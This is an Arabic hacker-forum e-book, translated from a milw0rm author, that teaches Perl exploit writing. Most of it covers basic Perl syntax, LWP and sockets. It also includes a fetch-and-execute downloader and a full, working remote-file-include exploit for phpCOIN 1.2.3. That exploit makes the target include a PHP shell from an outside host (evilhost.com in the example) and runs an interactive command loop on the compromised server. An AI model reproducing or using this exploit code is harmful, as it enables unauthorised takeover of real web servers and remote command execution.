Perl Writing Exploits

Perl Writing Exploits

تعلم كتابة ثغراتك بلغة بيرل

AlhambA

منتديات القناصين العرب

مكتبة الطارق الاكترونية

بسم الله الرحمن الرحيم

تم تصميم هذا الكتاب الالكتروني

لـ مكتبة الطارق الاكترونية

كل ما يبحث عنه الهكرز المسلم

http://www.t0010.com

تصميم الكتاب الالكتروني

---

aLTar3Q

Quick Reference Guide

Programming

perl

O'Reilly & Associates, Inc.

المحتويات : -

ملاحظة مهمة :

الكاتب من موقع milw0rm اسمه Warpboy وهذا معروف في اكتشاف الثغرات وله عديد من السكربتات في اللغة (خبير) تم ترجمتة للفائدة.

:: المقدمة ::

البيرل هي لغة سهلة في مقدورها معالجة النصوص وقد كانت بدايتها في تطبيقات اليونكس واليوم أصبحت البيرل تستخدم على كل أنظمة التشغيل تقريباً ، فهي نفس لغات البرمجة الأخرى ، فكل لغة ولها مميزات عن الاخرى .

فالبيرل فريدة من نوعها فهي سهلة التعلم وسهلة الاستعمال.

لماذا تكتب استغلال الثغرات بالبيرل عن غيرها ؟ لانها الوحيدة تكتب فيها الاستغلال بنسبة حوالي 70% تكتب بالبيرل

والسبب بان اكثر الهكر يختارون هذة اللغة عن غيرها بسبب انها سهلة الترجمة وسهلة التحميل وهي كفوء بالعمل ، وتنجز العمل بسرعة فائقه .

لو كان اهتمامك إيجاد الثغرات فهذا الموضوع الصحيح لتكتبها بهذة اللغة .

الأساسيات في لغة البيرل :

لكي يتنفذ برنامج في البيرل تحتاج لتحميل مترجم
ActiveStates's perl

حمله من هذا الموقع http://www.activestate.us

وايضاً محرر نصي
انا شخصياً استخدم هذا المحررDzSofts Perl
تجده على هذا الموقع www.dzsoft.com

او استخدم المفكره
او اذا لم تناسبك اكتب في الجوجل" perl Editor"
وامتداد برنامجك في البيرل يكون pl.

لنكتب اول برنامج في البيرل وهي طباعة الجملة
الشهيرة "Hello World

كود:

```
#!/usr/bin/perl -w
print "Hello World\n";
```

احفظه بهذ الاسم filename.pl

شرح الكود :

#!/usr/bin/perl البداية لكتابة برنامج بالبيرل
-w هو متغير للتأكد من الخطأ . وعموماً يستعمل لترتيب أخطانا المحرجة

ولتشغيل بدون اخطاء في (;) لتخبر البيرل عن توقف القراءة على هذا الخط .

"\n" سطر جديد

وهذة حالات اخرى له

```
\n          NewLine
\r          Return
\t          Tab
\f          Form Feed
\b          Backspace
\v          Vertical Tab
\e          Escape
\a          Alarm
\L          Lowercase All
\l          Lowercase Next
\U          Uppercase All
\u          Uppercase First
```

مثال اخر

```
#!/usr/bin/perl -w
print "Hello\tWorld\n\a";
```

وكذلك في البيرل مثل باقي اللغات متغيرات اما تكون دائمة أو مؤقتة ، ويمكن تحوى نصوص أو أرقام وتعرف بالاشارة."$"

شاهد المثال التالي

```
#!/usr/bin/perl -w
$Hello = "Hello World\n";
print $Hello;
```

ويمكنك استخدام (' ') وهي تستخدم بكثرة في المصفوفات
الفرق بينهما لايمكن عمل '\n' فهي تظهر كـ نص
وايضا يمكنك ان تضف نص مع نص باستخدام DOT

```
#!/usr/bin/perl -w
#<---- "#" هنا لايتنفذ الكود بل هو تعليق بعد
$YourName = "YOURNAME" ; # عرفنا المتغير $YourName
print "Hello" . " " . "World" . "  " . "My" . " " . "Name" . "  " . "Is" . " " .
"$YourName"."\n";
```

Hello World My Name Is YourName

وأيضا لها العديد من العمليات الرياضية مثل

```
#!/usr/bin/perl
#Adding, Subtracting, Multiplying, and Dividing in Perl
#Perl can do all basic math functions and more.
$a = 3 + 5 ;  # الجمع
$b = 5 * 5;   # الضرب
$c = 10 / 2 ; # القسمة
$x = 12 - 5;  # الطرح
print $a  . " " . "ADDITION: The solution should be 8.\n";
print $b  . " " . "MULTIPLICATION: The solution should be 25.\n";
print $c . " " . "DIVISION: The solution should be 5.\n";
print $x . " " . "SUBTRACTION: The solution should be 7.\n";
#Autoincrementing and Autodecrementing
$Count = $Count + 1;
print "$Count\n";
#هنا نفس عملية القراءة
$Count1 += 1  ; #Decrement $Count1 -=1 1
print "$Count1\n";
#Square Root الجذر التربيعي
$Square = sqrt(121)       ;
print "The square root of 121 is $Square\n";
#Exponents الاس
$Exp = 2**5 ;
print "$Exp\n";
```

المصفوفات Arrays :

لفهمها فهي تقوم بتعرف أكثر من متغير في مصفوفة واحدة ولتعريفها نستخدم الإشارة"@"

```
#!/usr/bin/perl
@arrayname=('var1','var2','var3');
print
$arrayname[0]."\n".$arrayname[1]."\n"."$arrayname[2]"
;
```

بدأنا في تعريف المصفوفة اسمها arrayname ومتضمنة المتغيراتvar3 ، var2،var1
ثم قمنا بطباعة الصف الاول.

مثال اخر:

```
#!/usr/bin/perl -w
@Hello = ('Hello', 'World');
print join(' ', @Hello) . "\n"; # الطباعة بادالة join
```

الدالة join تستخدم عند طباعة مصفوفة.

مثال نفس السابق لكن باالطريقةSplit

```
#!/usr/bin/perl -w
#The Split Method
$Sentence = "Hello my name is AlhambA.";
@Words = split(/ /, $Sentence) ;
print "@Words" . " " . "That was splitting data" . "\n";
#The Longer Way
@Hello = ('Hello', 'World');
print $Hello[0] . " " . $Hello[1] . "\n";
#Count starts at 0 so 'Hello' = 0 and so on
```

الطريقة split تشبه الى حد ما الطريقة join

فالطريقة split تجزء او تقسم الكلمات عند كل فراغ
وهنا أيضا نفس العمل

```
#!/usr/bin/perl -w
@array = qw(bam bam bam bam);
print join(' ', @array);
#Simple
```

المصفوفات سهلة جداً واستخداماتها كثيره في البرامج.

Hash :

نوع من المتغيرات
والهاش يعمل لكل شيء قرين ،مثلاً لون التفاحة حمراء
ولون الموز اصفر
ولتعريفها نستخدم الاشارة "%"
مثال لفهم الهاش:

```
#!/usr/bin/perl -w
%color=("apple","red","banana","yellow");
print $color{apple}."\n".$color{banana};
```

ومسموح لك بنفس المثال

```
#!/usr/bin/perl
%color=(
apple =>"red",
banana =>"yellow");
print $color{apple}."\n".$color{banana};
```

Conditionals :

أدوات الشرط لفهمها نأخذ مثال

لو وجد أحمد شجرة بها تفاح ، إذا كان غير جائع سيترك الشجرة ، وإذا كان جائع بيأكل تفاحة واذا مازال جائع بياكل واحدة ثانية وسيظل يأكل لمن يشبع ، وإذا امتلأت بطنه بيترك الشجرة.

الصيغة:

```
if ( Logical ) { some command }
```

مثال

```
#!/usr/bin/perl -w
$i = 1;
if($i ==1) {
$i++; #Increment 1
print $i . "\n";
#Print's 2 because the variable $i's condition was true
#If $i was any other '#' it wouldnt print anything.
}
```

المثال يبداء بتعريف المتغير i
ثم في السطر التالي يشتطر علية اذا كان المتغير i=1 ادخل ، غير ذلك سيخرج من البرنامج

ثم يظيف له 1 ويطبعة قيمتة 2

ويمكن ان تستخدم ادوات الشرط في string الحروف النصية

مثال:

```
#!/usr/bin/perl -w
$i = Hello;
if($i eq 'Hello') {
print "Hello!\n";
}
else {
print "The variable (i) doesn't equal the correct string!\n";
}
```

Else معناها اذا لم يتتحقق الشرط .

المقارنة بين السلاسل الحرفية

```
eq    equalty                يساوي
NE    INEQUALTY              لايساوي
LT    LESS THEN              اصغر من
GT    GREATER THEN           اكبر من
LE    LESS THEN OR EQUAL     اصغر من او يساوي
GE    GREATER THEN OR EQUQL  اكبر من او يساوي
```

User Input :

الإدخال من خلال المستخدم
ويستخدم عند كتابة استغلال للثغرة يطلب من المستخدم
إدخال قيمة أو نص ، مثلاً لتشغيل الاستغلال
فيقوم المستخدم بكتابة الاستعمال لكي تشتغل معاه.

وهناك عدة طرق للادخال:

أولاً STDIN Method

هي عملية ادخال للبيانات

مثال

```
#!/usr/bin/perl -w
#STDIN Method
print "Hello my name is AlhambA, what is your name?: ";
$L1 = <STDIN>;
chomp $L1;
print "Nice to meet you $L1!\n";
```

chomp: تعني بحذف السطر الجديد للحروف التي بعد المتغير.

الطريقة الثانية للادخال هي ARGV@ Method :

هذة ليست مصفوفة عادية

ARGV@ : بهذة يمكنك ان تضع المستخدم على خيارات
مثال:

```
perl sploit.pl www.somesite.com /forums/ 1
```

جميع هذة الخيارات يمكن ان تعدل
ماعدا (perl sploit.pl)

في اغلب الاوقات ما نستخدم الخيارات بالطريقة@ARGV

```
#!/usr/bin/perl -w
if(@ARGV !=2) {
print "Usage: perl $0 <name> <number>\n";
exit;
}
($name, $num) = @ARGV;
print "Hello $name & your number was: $num!\n";
```

$0 يستخدم هذا المتغير للأخذ اسم الملف file.plالمنفذ حالياً ويتم طباعتة في المعلومات المخرجة .

الطريقة الثالثة باستخدام module التي تسمى GetOpt:

```
#!/usr/bin/perl -w
#GetOpt STD module
use Getopt::Std;
getopts (":b:n:", \%args);
if (defined $args{n}) {
$n1 = $args{n};
}
if (defined $args{b}) {
$n2 = $args{b};
}
if (!defined $args{n} or !defined $args{b}){
print "Usage: perl $0 -n Name -b Number\n";
exit;
}
print "Hello $n1!\n";
print "Your number was: $n2\n";
print "Visit www.SnIpEr-SA.com today!\n\n";
```

ليس بالصعب الترجمة
في السطر الثالث استدعاء الموديل المسماه Getopt

وفي السطر الرابع getopts لها الأعلام b,-n- ، واستخدام الهاش لتخزينهمargs%

وفي السطر الخامس هنا يقول اذا كان موجود العلام n-
في السطر السادس خزن المعلومات في المتغيرn1 ،
لن يدخل الى هذا الامر الا اذا كان العلامn- موجود.
ونفس الشيء مع العلامb-
وفي السطر الحادي عشر هنا يحدد الشرط اذا كان غير موجودين الأعلام
or :كلها صائبة الا في حاله واحدة خاطئه.

سيدخل ويغلق البرنامج بالتعليمة exit الأ عندما يكون العلامين معرفين فسيقفز الى الخارج ، ويطبع الباقي في المثال.

وستكون الطريقة المفضلة لدينا باستعمال "GetOpt module
يجب ان يكون برنامجك سهل الاستخدام

Loop :

التكرار هو مفيد لتكرر كود ما
يمكنك قراءة الكود فهو سهل القراءة ، فهي مجموعة في هذا الكود .

```
#!/usr/bin/perl -w
#Loop Tutorial
#www.SnIpEr-SA.com
#Join Us TODAY!
#####################################
#FULLY Commented#
#####################################
#While Loops
#Format
# while (Comparison) {
```

```
# Action }
#While loops will loop while the comparison is true, if it
changes to false, it will no longer continue to loop through
its set of action(s).
$i = 1;
while($i <= 5) {
print "While:" . $i . "\n";
$i++;
}
#For Loops
#Format
# for (init_expr; test_expr; step_expr;) {
#   ACTION  }
##
# Init expression is done first, then the test expression is
tested to be true or false then --
#  the step expression is executed.
for($t = 1; $t <= 5; $t++) {
print "For:" . $t . "\n";
}
#Until Loops
#Format
# until (Comparison) {
# Action }
##
# An until loop tests the true false comparison, if it is true,
it will continue to loop until the comparison changes to a
# false state.
$p = 1;
until($p == 6) { #It's six because when $p becomes = 5,
it doesnt go through the set of action sequences;
therefore, 5 isn't printed.
print "Until:" . $p . "\n";
$p++;
}
#Foreach Loops
#Used most commonly to loop through lists
#Format
# foreach $num (@array) {
# Action }
```

```
$n = 1;
foreach $n (1..5) {
print "Foreach:" . $n . "\n";
$n++;
}
#End Tutorial
```

LibWWW

Lwp او LibWWW
هو من الموديل وهي للتفاعل مع الويب وكذلك الدالة HTTP التي تتفاعل مع السيرفرات

Lwp لها الكثير من الاستخدمات فهي تمثل جميعها بال objects وليس فقط في موديل واحد بل هناك مشتقة الكثير منها
هناك واحد منها سيكون مألوف لك وهو UserAgent وكذلك.Simple

LWP
ليس معقد مطلقاً لذا يجب عليك إيجاد اكواد الويب التي تتفاعل من اسكربتات البيرل بعد قراءة هذا الفصل وفهمها.

وأول LWP module سنشرح

LWP Simple module :

من المحتمل سيكون احد اكثر الموديل الغير مستخدمة في كتابة استغلالك ،لكنة إساس قوي لك لتطوير نفسك وتتعلم عن الاختلافات بين موديلات LWP .

ولكي نستخدم الموديل LWP ضروي ان نستدعي موقع هذة الموديل

```
#!/usr/bin/perl
use LWP::Simple; # calls the module  #
print "haha?\n";
```

موقعها في الجهاز 'C:\Perl\site\lib\LWP'

وتم استدعاءها بهذا السطر use LWP::simple;

وبعض الدوال التي تاتي مع الموديل LWP :

```
get($site);
getprint($site);
getstore($site, $savefile);
```

get($site); تجلب لنا المستندات المطابقة من قبل url وترجعها

getprint($site); تطبع مصدر صفحة الويب

getstore($site, $savefile); تحملها وتحفظ الملف في مجلد التنفيذ

واذا اردت دوال اكثر التي تاتي مع الموديل lwp قم بزيارة

http://search.cpan.org/dist/libwww-perl/lib/

نشاهد هذا المثال لفتح صورة لتعرف ايضأ كيف يتم التحميل في الويب

```
#!/usr/bin/perl
#Perl Web Downloader
#///Config///#
use LWP::Simple;
getstore('http://secure0000.110mb.com/Banner.jpg',
'Banner.jpg'); #downloads + stores file
system('Banner.jpg'); #executes the
sleep(3); #sleeps (waits)
unlink ('Banner.jpg'); #deletes the file
```

بداء في التعريف وثم حملها وحفظ الملف في الجهاز ثم فتحها ثم انتظر 3 ثواني ثم حذف الملف.

ثانياً موديل: LWP UserAgent

هذا الموديل له المزيد من المميزات عن موديل LWP Simpleولكن ليس عليك ان تتعلم هذة المميزات لكتابة استغلاتك بل فقط سنغطي واحدة من هذة المميزات لكتابة استغلاك.
واذا اردت التوسع ينصح بقراءة هذا المستند

http://search.cpan.org/~gaas/libwww-...P/UserAgent.pm

دعنا نتعلم عن الطلبGET :

HTTP/1.1 هذا البروتوكول يعرف الطلب GET يطلب الطلبات من المصدر المحدد الى المكان البعيد ، وهي الطريقة الأكثر شيوعاً وتستعمل على الشبكة اليوم ونستعمل الطلب GET لنحصل على طلبات من عنوان الموقع
ولنرى ايضاً الموديل Digest::MD5

هذا الموديل يسمح لك بالتشفير وهناك دوال خاصة به وكذلك طرق

الدوال هي

```
md5($data,...)
md5_hex($data,...)
md5_base64($data,...)
```

md5($data,...)
هذة الدالة تحسب MD5 digest ثم تعيدها في الشكل الثنائي binary طولها 16 بايت.

md5_hex($data,...)
نفس السابق لكن تعيد الشكل السادس عشر hexadecimal طولها 32
المحتوى يكون
'9'..'0'و'f'..'a'

md5_base64($data,...)
نفس السابق لكن تعيد الشكل base64 المشفر طولها 22
المحتوى يكون
'Z'..'A'و'z'..'a' و '9'..'0'و '+' و'/'

مثال:

```
use Digest::MD5 qw(md5_hex);
print "Digest is ", md5_hex("foobarbaz"), "\n";
```

وهذا الخرج

```
Digest is 6df23dc03f9b54cc38a0fc1483df6e21
```

هذا الرابط يتحدث عن Digest::MD5

http://search.cpan.org/~gaas/Digest-MD5-2.36/MD5.pm

نعود لطلب GET مايهمنا
في هذا المثال سنقوم باطلب GET على قاعدة بيانات
Md5 وتخزينها فيها مع الموديلLWP UserAgent

```
#!/usr/bin/perl
# Md5 Database Filler #
# Version 1.0, Add Word Manually #
# www.SnIpEr-SA.com #
# Modules needed : LWP (User Agent), Digest (MD5) #
# Download + INSTALL md5 digest module  #
use LWP::UserAgent; # Calling our LWP Useragent module
use Digest::MD5 qw(md5_hex); # Calling our Digest MD5
module (Install {if you need it})
$brow = LWP::UserAgent->new; # Our new useragent
defined under the variable $brow
while(1) {
# Just a simple while loop that will run the program
continously instead of just 1 time
print "Word to add: ";
$var = <STDIN>;
chomp ($var);
$seek = "http://md5.rednoize.com/?q=$var&b=MD5-
Search";
$brow->get( $seek ) or die "Failed to Send GET
request!/n";
print "$var" . " : " . md5_hex("$var") . " was added to
database " . "\n";
}
# End of the while loop
# To test if it worked go to http://md5.rednoize.com/ and
search your md5(hex) hash given to you
# It should crack :)
# This was a simple example of a get request executed on
a server
```

فـي هـذا المثـال يـتم إسـتدعاء الموديـل LWP (User Agent), Digest (MD5) فـي الـسطر الـسابع و الثـامن.
وفي السطر التاسع عمل useragent جديدة ووضعها في المتغير $brow.

والتالي عمل تكرار لا نهائي.

وفـي المتغيـر $seek يعـرف عنـوان رابـط قاعـدة البيانـات المعطى هنا سيخزن الاسم الـذي ادخلتـه فـي القاعـدة.
وفي السطر التـالي المتـصفح سـينفذ الطلـب get علـى المتغيـر المعـرف $seek واذا كـان حـدث خطـأ باطلـب سيرسل رسالة الخطأ

وفـي الاخيـر يـتم طباعـة الاسـم الـذي ادخلتـه وكـذلك التشفير بدالة الهكس .

واذا ارت ان تتأكد من اضافة الاسم اذهب الى الموقع

http://md5.rednoize.com/

وبحث عن الاسم وستراه مع الهاش

المقابس في هذا الجزء سناخذ الاساسيات للموديل IO
الادخال والاخراج (Input/Output) وهوSocket INET
ويستخدم في استغلالات

IO Socket INET module

للتجهيز العناصر المتفاعلة للإنشاء ،وتسخدم المقابس
الدومين AF_INET

في هذا المثال
سنشاء مقبس بسيط للاتصال على ip على البورت 80

```
#!/usr/bin/perl
use IO::Socket; # يستدعى الموديل IO Socket
print "An IP to connect to: ";
$ip = <STDIN>;#سيخزن المتغير اي بي في الذاكره
chomp($ip);
$i=1;
while($i <=5) {
$sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>"$ip", PeerPort=>'80') or die"Couldn't
connect!\n";
#Proto or Protocol (TCP/UDP)هنا استخدمنا tcp
#PeerAddr or Peer Address تسخدم لل ip
print "Connected!\n";
$i++;
}
```

هذا الموديل تستعمل في SQL injection exploits
وكذلك لتكوين التروجان
وهناك كتاب يتحدث عن Sockets مرفق .

Writing an Exploit

وهي ستكون على (RFI (Remote File Include

الثغرة في برنامج phpCOIN 1.2.3

http://milw0rm.com/exploits/2254

```
www.site.com/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=SHELL?&cmd=COMMAND
```

تم تقسيمه لكي تفهم الكود افهم كل كود فهو ليس صعب عليك الآن

انسخ الكود الى مفكرة فهو غير واضح هنا

```
#!/usr/bin/perl
# http://milw0rm.com/exploits/2254 #
# phpCOIN 1.2.3 (_CCFG[_PKG_PATH_INCL]) Remote Include Vulnerability #
# Vulnerability found by TimQ #
# Coded Exploit By Warpboy #
use LWP::UserAgent;  # We call our module
#Store our user inputted information into variables
# سنعرف المتغيرات المدخلة التى نستخدمها لختبار الصلاحية بالاستعمال
$site = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
if($site!~/http:\/\// || $site!~/http:\/\// || !$shellsite)
{
usg() # If the Url is invalid jump to the usg subrountine  اذا واقع في اسفل الاستغلال usg subrountine كان صحيح سينفذ
ثم بعد ذلك الشرط سيشتغل
}
header(); # Run through contents in the header subrountine وكذلك header subrountine سينفذ في الجزء
اسفل الاستغلال ستستدعى بدون شرط
```

```
#-----------------------------------------------------------
# Some loops to give us the ability to continue to use
more than one command on the server.
# Without these we would have to re-start the exploit for
each command
# بواسطة لوب ستطيع الاستمرار في اعطاء اوامر الى السيرفر
وليس امر واحد فقط عند تنفيذ البرنامج وحتى الاخطاء تنفذ
باستمرار لوكي تنفذ الاستغلال من الضوره الدخول هنا في
الحلقة while وهنا عملنا while() == while(1) اي تنفذ
باستمرارررر
while()
{
print "[shell] \$";
while(<STDIN>) # Recognize STDIN as a user input
method, while(<STDIN>) basically states that while your
taking user input for the command, do the following.
{
#سندخل هنا الاوامر المراد تنفيذها
$cmd=$_; #@_ :the argument passed to sub routine
chomp($cmd); #Chomps the newline off the user inputted
command
#-----------------------------------------------------------
# بهذا من الكود نستفيد عند معرفتنا LWP Useragent module
من الثغره الفعلية ولكي تعمل منها استغلاتك
$xpl = LWP::UserAgent->new() or die;
#Defines the variable $xpl as a new useragent
$req = HTTP::Request-
>new(GET=>$site.'/coin_includes/constants.php?_CCFG[
_PKG_PATH_INCL]='.$shellsite.'?&'.$shellcmd.'='.$cmd)o
r die "\n\n Failed to Connect, Try again!\n";
#ويرسل الثغرة الى الموقع المصاب get سيعرف الطلب
#وعلى المستخدم ادخال الموقع get ينفذ الطلب $req المتغير
ثم يطبق على الموقع الثغرة. $site المصاب في المتغير
#$shellsite where the php backdoor is located, is the
$shellcmd (php shell command variable) and $cmd
variable which was the user
#$shellcmd inputted command to execute on the server
with the php backdoor. The final url
```

```
# Would look like
www.site.com/coin_includes/constants.php?_CCFG[_PKG
_PATH_INCL]=SHELL?&cmd=COMMAND #
#  السلاسله هذه ستعمل دمج لمتغيرات في شكل واحد ويتم
دمجها في المتغير $req
$res = $xpl->request($req);
#المتغير $res ينفذ الطلب get  والمحتوي المدمج سيسترجع من
الطلب get ويخزن في المتغير $info
# The response of the server to the GET request we sent is
stored in the $info variable
# ويرسلها ويخزنها في المتغير get سيستجيب الخادم من الطلب
$info
$info = $res->content;
$info =~ tr/[\n]/[ê]/;
#-----------------------------------------------------
 #  هذه مجموعة من الشروط التى تختبر محتويتنا المعادة من
مثلاً اذا كان الخطا من ادخال المستخدم او خطا  get اخطأ الطلب
في الامر او الخطا في او الخطا في الموقع مثلا يقول لنا خطا في
الاتصال لكى يكون من السهل معرفة الخطا الذي قمنا به
 #Simple conditional

if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}
#Tests to see if there was a connection failure or the
command failed
#هنا يختبر اذا كان الاتصال خطأ او الامر خطأ
elsif ($info =~/failed to open stream: HTTP request
failed!/ || $info =~/: Cannot execute a blank command in
<b>/)
{
print "\nCould Not Connect to cmd Host or Invalid
Command Variable\n";
exit;
}
# Another ElseIf, this is used incase the command is
invalid like if you typed "asdfjasdf" as a command
# هنا ElseIf اذا طبعت الاوامر غير صحيحة مثلا "asdfjasdf"
elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
```

```
};
#-----------------------------------------------------------
# هذه الخطوه من الكود اساسية او ضروية للاستغلال فهي
تتخبر كود البرنامج للموقع اذا كان موجودة فية الثغره المطبقة
علية
#تحذير" "Warning" اذا كان المحتوى معاد سيحدث للمحتوى ثم
الموقع المعين لاتوجد الثغره فية التى تعني exits البرنامج يخرج
if($info =~
/(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[ê]/[\n]/;
print "\n$final\n";
last;
}
#-----------------------------------------------------------
#هي لكل else هذا القسم يحتوي على الاستغلال وهذه
الشروط السابقة للكل
else {
print "[shell] \$";
} # end of else
} # end of while(<STDIN>)
} # end of while
last;

#Sub-Rountines
#The end of the code is our sub rountine "header" used
earlier in the exploit
sub header()
{
print q{
++++++++++++++++++++++++++++++++++++++++
++++++++++
    phpCOIN 1.2.3 -- Remote Include Exploit
    Vulnerablity found by: TimQ
    Exploit coded by: Warpboy
      Original PoC: http://milw0rm.com/exploits/2254
++++++++++++++++++++++++++++++++++++++++
++++++++++
}
```

```
}
#-----------------------------------------------------------
#This is just our "usg" sub-rountine and a simple exit if all
the code is bypassed due to errors ect
sub usg()
{
header();
print q{
==========================================
==========================================
Usage: perl sploit.pl <phpCOIN FULL PATH> <Shell
Location> <Shell Cmd>
<phpCOIN FULL PATH> - Path to site exp. www.site.com
<Shell Location> - Path to shell exp.
www.evilhost.com/shell.txt
<Shell Cmd> - Command variable for php shell
Example: perl C:\sploit.pl
http://www.site.com/phpCOIN/
==========================================
==========================================
};
exit();
}

#-----------------------------------------------------------
```

النهاية

ما نرجوه منكم الا الدعاء في ظهر غيب
والسلام عليكم ورحمة الله

اخوكم AlhambA

ايميل:

security-0000@hotmail.com

secure0000@yahoo.com

وللتوسع في لغة البيرل

http://www.cpan.org
http://www.securitydb.org/forum/
http://www.programmingtutorials.com/perl.aspx
http://www.pageresource.com/cgirec/index2.htm
http://www.cclabs.missouri.edu/thing...erlcourse.html
http://www.ebb.org/PickingUpPerl/pickingUpPerl_toc.html
http://vsbabu.org/tutorials/perl/
http://www.freeprogrammingresources.com/perl.html
http://www.thescripts.com/serverside...uru/page0.html
http://www.perl.com/pub/a/2002/08/20/perlandlwp.html
http://www.perl.com
http://www.perlmonks.org/index.pl?node=Tutorials
www.google.com

تم بحمد لله